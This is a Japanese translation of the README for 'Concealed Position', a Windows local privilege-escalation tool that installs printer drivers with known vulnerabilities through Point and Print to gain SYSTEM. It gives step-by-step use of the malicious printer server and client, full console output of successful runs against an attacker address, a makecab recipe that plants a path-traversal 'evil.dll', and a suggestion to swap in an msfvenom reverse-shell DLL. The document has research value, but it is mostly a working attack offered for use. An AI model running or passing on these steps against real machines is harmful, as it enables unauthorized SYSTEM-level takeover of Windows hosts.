
独自のプリンタドライバを使用した特権昇格ツール
Concealed Position は、「Bring Your Own Vulnerability」の概念を用いた、Windows に対するローカル権限昇格攻撃です。具体的には、Concealed Position(CP)は、Windows のパッケージポイントアンドプリントロジック(設計上、低権限ユーザーがプリンタードライバーをステージングおよびインストールできるようになっている)を利用します。CP は特に、既知の脆弱性を持つドライバーをインストールし、それを悪用して SYSTEM に昇格します。Concealed Position は DEF CON 29 で初めて発表されました。
Concealed Position は 4 つのエクスプロイトを提供します。すべて同様に馬鹿げた名前が付いています:
これらのエクスプロイトは、SLASHINGDAMAGE を除き、問題が修正された後も動作し続けるという点で優れています。Windows がユーザーによる古いドライバーの使用を阻止する唯一の仕組みは、ドライバーの証明書を失効させることですが、これは歴史的に行われていない(?)ようです。
おそらく ACIDDAMAGE です。RADIANTDAMAGE と POISONDAMAGE は競合状態(DLL の上書き)であり、SLASHINGDAMAGE は、おそらくほとんどの環境で修正されているはずです。
Concealed Position には 2 つの部分があります。悪意のあるプリンターサーバーとクライアントです。クライアントはサーバーに接続し、ドライバーを取得し、ドライバーストアに保存し、プリンターをインストールし、インストールプロセスを悪用します。簡単です!MSAPI の言葉で言えば、攻撃は次のようになります:
Step 1: ドライバーをドライバーストアにステージングする
client to server: GetPrinterDriver
server to client: Response with driver
Stage 2: ドライバーをドライバーストアからインストールする
client: InstallPrinterDriverFromPackage
Stage 3: ローカルプリンターを追加する(エクスプロイト段階)
client: Add printer
ただし、SLASHINGDAMAGE は実際にはこのように動作しないことに注意することが重要です。SLASHINGDAMAGE は DEFCON 28(2020)で説明された悪意のあるプリンター攻撃の実装であり、とっくに修正されています。私はたまたまこの攻撃が好きで(残りの開発のきっかけとなりました)、混乱を招くかもしれませんが、エクスプロイトを悪意のあるサーバーに残しておこうと思ったのです。
議論の余地はありますが、そうです。ドライバーストアは「サードパーティのドライバーパッケージの信頼できるコレクション」であり、管理者アクセスが必要です。GetPrinterDriver を使用すると、低権限の攻撃者が任意のドライバーをストアにステージングできます。私の目には、これは明らかなセキュリティ境界の侵害です。
Microsoft は CVE-2021-34481 を発行した時点で同意したようです。
とはいえ、これはシステムの単なる機能であり、まったく脆弱性ではないと主張することも可能です。しかし、それはそれほど重要ではありません。攻撃者は標準的な Windows インストール環境で SYSTEM に昇格できます。
少なくとも Windows 8.1 以上です。
簡単です!説明するのに何段落も必要になるほど簡単です!
まず、cp_server のコマンドラインオプションを見てみましょう:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
CLI options:
-h, --help Display the help message
-e, --exploit arg The exploit to use
-c, --cabs arg (=.\cab_files) The location of the cabinet files
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
上記の通り、サーバーには 2 つのオプションが必要です:
例えば、ACIDDAMAGE ドライバーを提供する悪意のあるプリンターを設定したい場合、次のようにします:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
[+] Creating temporary space...
[+] Expanding .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
これで完了です。システムに新しいプリンターが表示されます:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer
Name ComputerName Type DriverName PortName Shared Publishe
d
---- ------------ ---- ---------- -------- ------ --------
ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False
CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False
OneNote for Windows 10 Local Microsoft Software Pri... Microsoft.Of... False False
Microsoft XPS Document Writer Local Microsoft XPS Document... PORTPROMPT: False False
Microsoft Print to PDF Local Microsoft Print To PDF PORTPROMPT: False False
Fax Local Microsoft Shared Fax D... SHRFAX: False False
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
cp_server が促す手動のステップが 1 つあることに注意してください。私は駄目なハッカーなので、「詳細な共有設定」->「パスワード保護共有をオフにする」をプログラムで設定する方法がわかりませんでした。これは自分で行う必要があります!
SLASHINGDAMAGE の使用手順は少し異なります。まず CutePDF Writer をインストールする必要があります(インストーラーは 3rd party ディレクトリにあります)。その後、cp_server を実行し、さらにいくつかの手動ステップと再起動が必要です。
クライアントも同様に簡単に使用できます。コマンドラインオプションを見てみましょう:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
CLI options:
-h, --help Display the help message
-r, --rhost arg The remote evil printer address
-n, --name arg The remote evil printer name
-e, --exploit arg The exploit to use
-l, --local No remote printer. Local attack only.
-d, --dll arg Path to user provided DLL to execute.
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
まず、--dll オプションについて説明します。クライアントには埋め込みペイロードがあり、単に C:\result.txt ファイルを書き込みます。ただし、ユーザーはこのオプションを使用して独自の DLL を提供できます。例えば、msfvenom によって生成された x64 リバースシェルを使用するのも良いでしょう。しかし、この後の説明では埋め込みペイロードを想定します。
cp_client にはリモートモードとローカルモードの 2 つがあります。リモートオプションは、脆弱なドライバーをドライバーストアに追加する(したがって Bring Your Own Print Driver の脆弱性を実行する)ため、最も興味深いものです。まずはリモートモードから説明します。以前設定した悪意のある ACIDDAMAGE プリンターに接続したいとします。以下の情報を指定するだけです:
次のようにします!
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] Checking if driver is already installed
[-] Driver is not available.
[+] Call back to evil printer @ \\10.0.0.9\ACIDDAMAGE
[+] Staging driver in driver store
[+] Installing the staged driver
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!
これで完了です!ローカル専用攻撃を実行するには、エクスプロイトを指定するだけです:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] Checking if driver is already installed
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
SLASHINGDAMAGE はエクスプロイトに特別なクライアントを必要としません。UI またはコマンドラインを使用してリモートプリンターに接続するだけで完了です!残念ながら、カスタムペイロードを使用したい場合は、cab_files ディレクトリ内の CAB を更新する必要があります。しかし、それは簡単です。次のようにします:
echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab
リポジトリ内の SLASHINGDAMAGE のバージョンは ualapi.dll を SYSTEM32 に配置し、再起動時に実行されて C:\result.txt ファイルを配置することを知っておくことが重要かもしれません。
プルリクエストを送信したり、バグを報告したりしたいですか?素晴らしい!感謝しますが、バグを再現するための十分な詳細や、プルリクエストを受け入れるべき理由を説明しない場合、コメントなしで課題をクローズする可能性が 100% です。あなたを大切に思っていますが、私もかなり忙しいです。
注意すべき点として、inject_me DLL は実際には cp_client に C 配列として埋め込まれています。inject_me を更新する場合は、C 配列も手動で更新する必要があります(xxd を使用して配列を生成するだけです)。